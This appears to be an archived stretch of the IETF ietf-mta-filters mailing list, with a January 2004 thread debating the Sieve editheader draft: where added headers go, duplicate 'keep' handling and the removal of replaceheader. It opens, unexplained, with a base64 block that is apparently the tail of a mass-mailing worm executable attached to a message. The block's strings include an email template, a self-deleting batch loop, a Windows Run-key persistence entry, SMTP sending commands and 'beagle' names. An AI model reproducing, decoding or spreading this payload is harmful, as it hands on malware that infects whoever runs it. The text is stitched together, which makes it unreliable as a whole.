DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------357723350507838-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G6kAib016806; Thu, 15 Jan 2004 22:46:10 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G6kANH016804; Thu, 15 Jan 2004 22:46:10 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0G6k8ib016784 for <ietf-mta-filters@imc.org>; Thu, 15 Jan 2004 22:46:09 -0800 (PST) (envelope-from mem@mv.mv.com) Received: (qmail 29373 invoked from network); 16 Jan 2004 01:46:11 -0500 Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 16 Jan 2004 01:46:11 -0500 X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net Received: (qmail 12083 invoked by uid 101); 16 Jan 2004 01:46:09 -0500 From: "Mark E. Mallett" <mem@mv.mv.com> Date: Fri, 16 Jan 2004 01:46:09 -0500 To: Philip Guenther <guenther+mtafilters@sendmail.com> Cc: "Mark E. Mallett" <mem@mv.mv.com>, ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt Message-ID: <20040116064609.GM26897@iridium.mv.net> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <20040116005014.GC3126@jutta.sendmail.com> <20040116025244.GJ26897@iridium.mv.net> <200401160435.i0G4Zpn12653@katroo.Sendmail.COM> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200401160435.i0G4Zpn12653@katroo.Sendmail.COM> User-Agent: Mutt/1.4.1i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Thu, Jan 15, 2004 at 08:35:51PM -0800, Philip Guenther wrote: > "Mark E. Mallett" <mem@mv.mv.com> writes: > ... [regarding default placement of added header fields] > >My contention is that in a local > >delivery mode, one ought to be able to do to the mail what one wants > >to do to it. As I said, I could see where there could be more > >constraints on a filter that was operating in other than local > >delivery mode. However I think it would be a shame to cripple a local > >delivery agent for that reason: it would be better to define an > >operational mode that had more constraints if one wanted. > > Given that the draft *does* provide a means to do what you want > (place the added header field at the end of the header instead of > the beginning), calling an agent that follows the draft 'crippled' > seems like pure hyperbole. I didn't say that last phrase, so it's hard to respond to it. An agent that follows this draft in either of its last two forms is not crippled. I didn't even say (or intend to say, though I think I can see how it got inferred) that the draft is "crippled" by the default being the beginning rather than the end. I was talking about the line of reasoning leading up to this point: i.e., that there is a precedent set by MTAs prepending headers, and MUAs appending them. I said that a SIEVE filter (certainly by one definition) can commonly be a local agent acting on behalf of the mailbox owner. I said that I could imagine another mode where it was acting more MTA-like, and that perhaps a mode could be defined where the filter was not allowed such a free hand (since it would be operating on mail *other* than that owned by the person directing it). (In fact I think it would be useful to make that role distinction when talking about what a filter can and can not do.) I then said that that hypothetical mode should not be the one that dictated the way drafts (or agents) were written; if it were, it would be restrictive (i.e., crippling) for the LDA role. It's a few steps back from that philosophical observation to the specific item in the draft, sorry about the apparent connection. > Can you refute the previously provided > reasons for defaulting to prepending or otherwise provide a > countervailing argument? Not "refute" -- no. Disagree with, yes, but really only mildly, and I've outlined why a few times. If I wasn't clear I can try again, but I doubt that people need to have me belabor it. For reasons I've already given I feel that appending is better for a final delivery agent. A draft stage is where one puts in these opinions so I am: obviously other(s) felt similarly motivated, though in the other direction, between the last two drafts. I would even suggest having the default be implementation-dependent, and if one wanted to be explicit one would use :first or :last . > ... [regarding replaceheader] > > The question isn't whether replaceheader should be described in an > rfc. The question is whether addheader and deleteheader should be > held up while the people try to reach consensus on replaceheader. > It's one thing to combine separable extensions in a single document > when they're all ready to go at the same time, but that isn't true > here. Yeah- that's one reason I was wondering where this discussion had taken place up to now (between the last two drafts, that is). If you've been involved in discussing it you have a different perspective than I, who only knows that it is gone and wonders why, and wonders what will become of it. I certainly understand the goal of pragmatism, especially if there's conflict over "replaceheader". But it's also a good goal to have an extension that encapsulates all related functions. Yours, -mm- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G4Zsib093347; Thu, 15 Jan 2004 20:35:54 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G4ZsuC093346; Thu, 15 Jan 2004 20:35:54 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G4Zrib093341 for <ietf-mta-filters@imc.org>; Thu, 15 Jan 2004 20:35:53 -0800 (PST) (envelope-from guenther@sendmail.com) Received: from katroo.Sendmail.COM (natted.sendmail.com [63.211.143.38]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0G4ZqQB024896; Thu, 15 Jan 2004 20:35:52 -0800 (PST) Received: from functor.smi.sendmail.com (functor.smi.sendmail.com [10.210.202.37]) by katroo.Sendmail.COM (8.11.7a/8.11.7) with ESMTP id i0G4Zpn12653; Thu, 15 Jan 2004 20:35:52 -0800 (PST) Message-Id: <200401160435.i0G4Zpn12653@katroo.Sendmail.COM> To: "Mark E. Mallett" <mem@mv.mv.com> Cc: ietf-mta-filters@imc.org From: Philip Guenther <guenther+mtafilters@sendmail.com> Subject: Re: draft-degener-sieve-editheader-01.txt In-reply-to: <20040116025244.GJ26897@iridium.mv.net> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <20040116005014.GC3126@jutta.sendmail.com> <20040116025244.GJ26897@iridium.mv.net> Date: Thu, 15 Jan 2004 20:35:51 -0800 Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> "Mark E. Mallett" <mem@mv.mv.com> writes: ... [regarding default placement of added header fields] >My contention is that in a local >delivery mode, one ought to be able to do to the mail what one wants >to do to it. As I said, I could see where there could be more >constraints on a filter that was operating in other than local >delivery mode. However I think it would be a shame to cripple a local >delivery agent for that reason: it would be better to define an >operational mode that had more constraints if one wanted. Given that the draft *does* provide a means to do what you want (place the added header field at the end of the header instead of the beginning), calling an agent that follows the draft 'crippled' seems like pure hyperbole. Can you refute the previously provided reasons for defaulting to prepending or otherwise provide a countervailing argument? ... [regarding replaceheader] >There certainly could be situations where replaceheader can't >do what you want: but that's no reason to remove it. It wasn't removed because it didn't do what was wanteded; it was removed because people felt it too complicated and had various hairy problems (for example, involving rfc2047-encoded words). ... >That's not really what I was getting at. I'd want to see >"replaceheader" retained in the draft, even if it's as a "MAY" with a >separate capability name (a la the "envelope" precedent) rather than >punted like that with no chance for uniform implementation of optional >facilities. Certainly anything can be incorporated in a private >implementation, but that's not this discussion. The question isn't whether replaceheader should be described in an rfc. The question is whether addheader and deleteheader should be held up while the people try to reach consensus on replaceheader. It's one thing to combine separable extensions in a single document when they're all ready to go at the same time, but that isn't true here. Philip Guenther guenther@sendmail.com Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G2qiib089264; Thu, 15 Jan 2004 18:52:44 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G2qiGK089263; Thu, 15 Jan 2004 18:52:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0G2qhib089257 for <ietf-mta-filters@imc.org>; Thu, 15 Jan 2004 18:52:43 -0800 (PST) (envelope-from mem@mv.mv.com) Received: (qmail 20978 invoked from network); 15 Jan 2004 21:52:45 -0500 Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 15 Jan 2004 21:52:45 -0500 X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net Received: (qmail 7282 invoked by uid 101); 15 Jan 2004 21:52:44 -0500 From: "Mark E. Mallett" <mem@mv.mv.com> Date: Thu, 15 Jan 2004 21:52:44 -0500 To: Jutta Degener <jutta@sendmail.com> Cc: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt Message-ID: <20040116025244.GJ26897@iridium.mv.net> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <20040116005014.GC3126@jutta.sendmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040116005014.GC3126@jutta.sendmail.com> User-Agent: Mutt/1.4.1i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Thu, Jan 15, 2004 at 04:50:14PM -0800, Jutta Degener wrote: > > But in the (more common) case where > > the filter is operating on behalf of the recipient, I would want to be > > able to do the changes I want done. (kind of a tautology there.) > > I don't think we have enough data to judge which use of > this proposed extension is common. I was referring to common use of sieve, per its stated design as a final delivery agent. However, I did allude to the possibility that a sieve filter *could* be used in a pass-through mode, since you were the one who was talking about MTA-like properties providing precedent for header placement, and I was making some conjectures about where that perspective was coming from. My contention is that in a local delivery mode, one ought to be able to do to the mail what one wants to do to it. As I said, I could see where there could be more constraints on a filter that was operating in other than local delivery mode. However I think it would be a shame to cripple a local delivery agent for that reason: it would be better to define an operational mode that had more constraints if one wanted. > > > > And.. what about replaceheader? > > > > > > As mentioned in section 9.1, replaceheader is no longer in the draft. > > > My implementation still has it, but it's a vendor-specific extension > > > after encountering determined opposition from some members of the > > > work group. If you implement it, the rules with respect to duplication > > > would be the same as for add- and deleteheader. > > > > Hmm- certainly seems like replaceheader is a convenient shortcut > > for "deleteheader" and "replaceheader" -- except that you lose > > position, which I consider a loss (for reasons given above). > > You lose count, too; if multiple headers of the same sort are present, > you can't generally rename them (e.g., Cc to Resent-Cc) because you > can't loop in sieve. While that is true (no loops), I'm not sure it's a real answer. There are ways to address that concern, a couple of which you illustrated in a previous draft (nicely showing its usefulness). Rename them all, rename the nth one, rename the ones matching a pattern, per prior draft. There certainly could be situations where replaceheader can't do what you want: but that's no reason to remove it. > > How does a vendor-specific extension get specified vis-a-vis "require" ? > > RFC 3028, section 6.1. Their name starts with "vnd." That's not really what I was getting at. I'd want to see "replaceheader" retained in the draft, even if it's as a "MAY" with a separate capability name (a la the "envelope" precedent) rather than punted like that with no chance for uniform implementation of optional facilities. Certainly anything can be incorporated in a private implementation, but that's not this discussion. > > > And in that light, could not the rules for duplication also become > > "vendor-specific" ? > > In general, I don't think that's a good way of dealing with conflicting > opinions about details of an implementation. My point too :-) mm Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G0oVib080211; Thu, 15 Jan 2004 16:50:31 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G0oVje080210; Thu, 15 Jan 2004 16:50:31 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G0oUib080204 for <ietf-mta-filters@imc.org>; Thu, 15 Jan 2004 16:50:30 -0800 (PST) (envelope-from jutta@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0G0oWOv020505 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for <ietf-mta-filters@imc.org>; Thu, 15 Jan 2004 16:50:32 -0800 (PST) Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0G0oWO7025047 for <ietf-mta-filters@imc.org>; Thu, 15 Jan 2004 16:50:32 -0800 Received: by jutta.sendmail.com (Postfix, from userid 500) id CD60B179C0; Thu, 15 Jan 2004 16:50:14 -0800 (PST) Date: Thu, 15 Jan 2004 16:50:14 -0800 From: Jutta Degener <jutta@sendmail.com> To: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt Message-ID: <20040116005014.GC3126@jutta.sendmail.com> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040115235535.GM28467@iridium.mv.net> User-Agent: Mutt/1.3.24i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> > But in the (more common) case where > the filter is operating on behalf of the recipient, I would want to be > able to do the changes I want done. (kind of a tautology there.) I don't think we have enough data to judge which use of this proposed extension is common. > > > And.. what about replaceheader? > > > > As mentioned in section 9.1, replaceheader is no longer in the draft. > > My implementation still has it, but it's a vendor-specific extension > > after encountering determined opposition from some members of the > > work group. If you implement it, the rules with respect to duplication > > would be the same as for add- and deleteheader. > > Hmm- certainly seems like replaceheader is a convenient shortcut > for "deleteheader" and "replaceheader" -- except that you lose > position, which I consider a loss (for reasons given above). You lose count, too; if multiple headers of the same sort are present, you can't generally rename them (e.g., Cc to Resent-Cc) because you can't loop in sieve. > This response brings up a couple new questions too, which can only > be explained by my ignorance I'm afraid, but here goes: > > Is there a separate work group for "editheader"? There's no IETF work group (anymore) for sieve -- so all extensions are formally private submissions, although they do tend to refernce to this mailing list as a point of discussion. > How does a vendor-specific extension get specified vis-a-vis "require" ? RFC 3028, section 6.1. Their name starts with "vnd." > And in that light, could not the rules for duplication also become > "vendor-specific" ? In general, I don't think that's a good way of dealing with conflicting opinions about details of an implementation. Jutta Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0FNteib078360; Thu, 15 Jan 2004 15:55:40 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0FNteAM078359; Thu, 15 Jan 2004 15:55:40 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0FNtcib078352 for <ietf-mta-filters@imc.org>; Thu, 15 Jan 2004 15:55:38 -0800 (PST) (envelope-from mem@mv.mv.com) Received: (qmail 11809 invoked from network); 15 Jan 2004 18:55:36 -0500 Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 15 Jan 2004 18:55:35 -0500 X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net Received: (qmail 2719 invoked by uid 101); 15 Jan 2004 18:55:35 -0500 From: "Mark E. Mallett" <mem@mv.mv.com> Date: Thu, 15 Jan 2004 18:55:35 -0500 To: Jutta Degener <jutta@sendmail.com> Cc: "Mark E. Mallett" <mem@mv.mv.com>, ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt Message-ID: <20040115235535.GM28467@iridium.mv.net> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040108005337.GB3244@jutta.sendmail.com> User-Agent: Mutt/1.4.1i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Wed, Jan 07, 2004 at 04:53:37PM -0800, Jutta Degener wrote: Hi- thanks for the responses. Sorry it's been over a week. > On Wed, Jan 07, 2004 at 06:03:04PM -0500, Mark E. Mallett wrote: > > Two very interesting changes in this draft: > > > > > "addheader" [":last"] <name: string> <value: string> > > > > > > By default, the header field is inserted at the beginning of > > > the existing header. If the optional flag ":last" is > > > specified, it is appended at the end. > > > > What's the rationale? So far (i.e., without hearing more), I liked it > > better the way it was: the default being to add the header at the end, > > not the beginning. I would not mind seeing a ":first" to alter that > > behaviour though. > > It's much easier to insert a header field at the beginning of > a header (one simply sends that header field, then the text of > a message). Perhaps as a result of that, the fields at the > beginning of the message have taken on the character of a > delivery "trace", while the fields at the end of the block > typically were inserted by the client. I don't look at it that way, myself. Not to mention that I don't think "ease" has anything to do with it in a sieve application: that application is manipulating the message, and so putting the header one place is no more difficult than putting it another. I do follow that you are explaining why adding at the beginning is a precedent. However it's a precedent for a different context. > Some people who talked to me felt very strongly that additions > to the trace section in the right place were more in keeping with > what's considered allowable header modifications, while inserting > in the middle, with no way of tracking who did that, should only > happen if explicitly requested. I would disagree with those people :-) We're not talking MTA here nor are we talking about trace fields: we're talking about manipulating a message where there is the presumption that one has the right to do so, in the same way that one can go into a text editor and manipulate it. Admittedly there is a quasi- area where a sieve filter can be applied in a forwarding context. But in the (more common) case where the filter is operating on behalf of the recipient, I would want to be able to do the changes I want done. (kind of a tautology there.) Regarding the duplicate "keep" after a changed message: > > I see where that is coming from. If you do a "keep" after changing > > the header, it's assumed that you really meant it; and if weeding out > > duplicate "keep" operations prevents that, then you have lost some > > change. However: you have not lost the message unless some prior > > action had deliberately caused it; any weeding out represents a script > > error rather than loss of the message, so I am not sure this is an > > improvement. > > In an ambiguous and possibly erroneous situation, I prefer to err > on the side of shorter explanations and more saved information. I think the shortest explanation would be not to introduce the "changed message" concept. One might say that if one has done a "keep" then changed the message then did a "keep" again, an error can occur no matter how you look at it, so keeping the traditional de-duplication logic is better. I find this new potential for duplicate filings disturbing. > > One alternative: make a note that the message has changed, and if so, > > inhibit any subsequent de-duplication logic on the next action only. > > That seems difficult to explain. I don't see why the first of > any number of duplicate fileinto's etc. should receive preferential > treatment. Because of what I said in the original message: On the flip side, anyone who has depended on duplicate "keep" operations being weeded out will be surprised by having two messages filed. Likely if you have done a "keep" in the same code area as the addheader, you probably do want the second copy. But in another case? Not so clear, especially if you have done something else with the message after changing the header. I guess I wasn't clear with that. I was trying to say that it's likely that if you do an immediate "keep" right after the addheader, you probably meant to keep the changed message. But if there's a "keep" far away further in the script, you probably want the de-duplication to happen (i.e., supress that other far-away "keep"). I was trying to invent some reason why you would really want the second keep to file the message again (after a change), and contrast that with what I consider to be the standard case where you don't want it to happen, and then come up with a generic rule to infer intent as expressed in the language. Perhaps a better inference would be: if there is a header modification followed by an action within the same code block (block enclosed by curly braces), ignore the de-duplication and perform the action anyway. The bottom line is that I don't like the part where normal de-duplication is inhibited. I'd vote for getting rid of the new stuff about the changed message, and if that prevents the filing of a changed message, fix the script :-) > > And.. what about replaceheader? > > As mentioned in section 9.1, replaceheader is no longer in the draft. > My implementation still has it, but it's a vendor-specific extension > after encountering determined opposition from some members of the > work group. If you implement it, the rules with respect to duplication > would be the same as for add- and deleteheader. Hmm- certainly seems like replaceheader is a convenient shortcut for "deleteheader" and "replaceheader" -- except that you lose position, which I consider a loss (for reasons given above). (As I recall, earlier discussion included some finer control over header placement; again, losing that is, it seems to me, a loss.) This response brings up a couple new questions too, which can only be explained by my ignorance I'm afraid, but here goes: Is there a separate work group for "editheader"? I had thought from the archives that it open for discussion here. What other work groups are there? How does a vendor-specific extension get specified vis-a-vis "require" ? And in that light, could not the rules for duplication also become "vendor-specific" ? Yours, mm Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0843Pib001075 for <ietf-mta-filters-bks@above.proper.com>; Wed, 7 Jan 2004 20:03:25 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0843Pg7001074 for ietf-mta-filters-bks; Wed, 7 Jan 2004 20:03:25 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0843Oib001069 for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 20:03:24 -0800 (PST) (envelope-from jutta@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0843QUm029288 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 20:03:27 -0800 (PST) Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0843Qpb019392 for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 20:03:26 -0800 Received: by jutta.sendmail.com (Postfix, from userid 500) id A5147179C2; Wed, 7 Jan 2004 20:03:23 -0800 (PST) Date: Wed, 7 Jan 2004 20:03:23 -0800 From: Jutta Degener <jutta@sendmail.com> To: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt Message-ID: <20040108040323.GD3244@jutta.sendmail.com> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <015d01c3d593$647565b0$662c2a0a@rockliffe.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <015d01c3d593$647565b0$662c2a0a@rockliffe.com> User-Agent: Mutt/1.3.24i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Thu, Jan 08, 2004 at 02:59:11AM -0000, Nigel Swinson wrote: > So it seems that as it is written, editheader is putting strong bias on > "take actions as you go" implementations. What was intended was merely a strong bias for a "take actions as you go" *model*. I think that's easier to explain and remember for users. As an implementor, you can postpone header edits in the same way you postpone other commands; you just need to keep track of what the header looks like right now, and remember which deliveries picked up which modifications. Jutta Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i083LBib098611 for <ietf-mta-filters-bks@above.proper.com>; Wed, 7 Jan 2004 19:21:11 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i083LBgq098610 for ietf-mta-filters-bks; Wed, 7 Jan 2004 19:21:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to 